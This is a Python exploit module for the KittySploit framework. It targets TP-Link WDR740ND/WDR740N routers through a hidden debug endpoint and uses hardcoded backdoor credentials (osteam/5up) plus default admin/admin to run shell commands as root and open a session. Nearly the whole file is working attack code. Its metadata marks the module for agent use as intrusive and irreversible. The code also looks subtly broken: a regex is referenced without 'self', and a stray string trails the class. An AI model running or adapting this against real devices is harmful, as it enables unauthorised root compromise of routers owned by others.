TP-Link WDR740ND/WDR740N - Debug Backdoor RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import re
from urllib.parse import quote
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler

class Module(Exploit, Http_client, Handler):
    __info__ = {'name': 'TP-Link WDR740ND/WDR740N - Debug Backdoor RCE', 'description': 'Exploits the hidden debug endpoint /userRpm/DebugResultRpm.htm (osteam/5up backdoor credentials) to run shell commands as root.', 'author': ['websec.ca', 'KittySploit Team'], 'platform': Platform.LINUX, 'payload': {'default': 'nopayload'}, 'references': ['http://websec.ca/advisories/view/root-shell-tplink-wdr740'], 'tags': ['tplink', 'router', 'backdoor', 'rce', 'iot'], 'agent': {'risk': 'intrusive', 'effects': ['active_exploitation'], 'expected_requests': 2, 'reversible': False, 'approval_required': True, 'produces': ['exploit_paths', 'risk_signals'], 'cost': 1.5, 'noise': 0.5, 'value': 1.0}}
    _CMD_RESULT_RE = re.compile('var cmdResult = new Array\\(\\n"(.*?)",\\n0,0 \\);', re.S)
    username = OptString('admin', 'HTTP basic auth username', required=False)
    password = OptString('admin', 'HTTP basic auth password', required=False)

    def execute(self, cmd: str) -> str:
        path = f'/userRpm/DebugResultRpm.htm?cmd={quote(str(cmd))}&usr=osteam&passwd=5up'
        response = self.http_request(method='GET', path=path, auth=(str(self.username), str(self.password)), allow_redirects=False)
        if not response or response.status_code != 200:
            return ''
        match = _CMD_RESULT_RE.search(response.text or '')
        if not match:
            return ''
        raw = match.group(1).replace('\\r\\n', '\r\n')
        return '\n'.join(raw.split('\n'))

    def check(self):
        body = self.execute('id')
        if re.search('uid=\\d+', body):
            return {'vulnerable': True, 'reason': 'Debug backdoor confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'No command output from debug endpoint', 'confidence': 'medium'}

    def check_execute(self) -> bool:
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        print_success('TP-Link debug backdoor confirmed')
        return self.handler_execute()
    'TP-Link WDR740ND/WDR740N debug backdoor — opens execute session.'